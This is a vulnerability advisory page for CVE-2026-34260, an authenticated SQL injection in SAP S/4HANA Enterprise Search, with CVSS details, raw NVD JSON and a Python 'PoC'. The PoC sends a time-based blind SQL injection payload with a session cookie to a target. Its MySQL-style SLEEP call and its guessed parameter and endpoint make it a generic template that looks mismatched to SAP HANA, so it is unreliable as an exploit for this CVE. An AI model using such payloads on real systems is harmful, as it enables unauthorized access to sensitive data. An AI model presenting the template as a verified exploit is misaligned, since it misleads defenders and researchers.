Security Vulnerability Report
中文
CVE-2026-34260 CVSS 9.6 CRITICAL

CVE-2026-34260

Published: 2026-05-12 03:16:12
Last Modified: 2026-05-12 03:16:12

Description

SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through user-controlled input. The application directly concatenates this malicious user input into SQL queries, which are then passed to the underlying database without proper validation or sanitization. Upon successful exploitation, an attacker may gain unauthorized access to sensitive database information and could potentially crash the application. This vulnerability has a high impact on the confidentiality and availability of the application, while integrity remains unaffected.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA (具体受影响版本请参考SAP Security Note 3724838)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests """ PoC for CVE-2026-34260 - SAP S/4HANA SQL Injection This script demonstrates the potential for SQL injection in the Enterprise Search component. Note: For educational and authorized testing purposes only. """ def check_sqli(target_url, session_cookie): headers = { "User-Agent": "Security-Scanner/1.0", "Cookie": f"sap_sessionid={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload attempting a time-based blind SQL injection # Adjust the parameter name 'search_query' based on the actual application parameter payload = { "search_query": "test' UNION SELECT SLEEP(5)-- " } try: print(f"[*] Sending payload to {target_url}") response = requests.post(target_url, headers=headers, data=payload, timeout=10) # Check if the response time indicates successful execution (sleep) if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability confirmed (Time-based delay).") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not confirmed or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Example usage # url = "https://target-sap-system:44300/sap/bc/enterprise_search/search" # token = "VALID_AUTH_TOKEN_HERE" # check_sqli(url, token) pass

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34260", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:11.517", "lastModified": "2026-05-12T03:16:11.517", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through user-controlled input. The application directly concatenates this malicious user input into SQL queries, which are then passed to the underlying database without proper validation or sanitization. Upon successful exploitation, an attacker may gain unauthorized access to sensitive database information and could potentially crash the application. This vulnerability has a high impact on the confidentiality and availability of the application, while integrity remains unaffected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://me.sap.com/notes/3724838", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}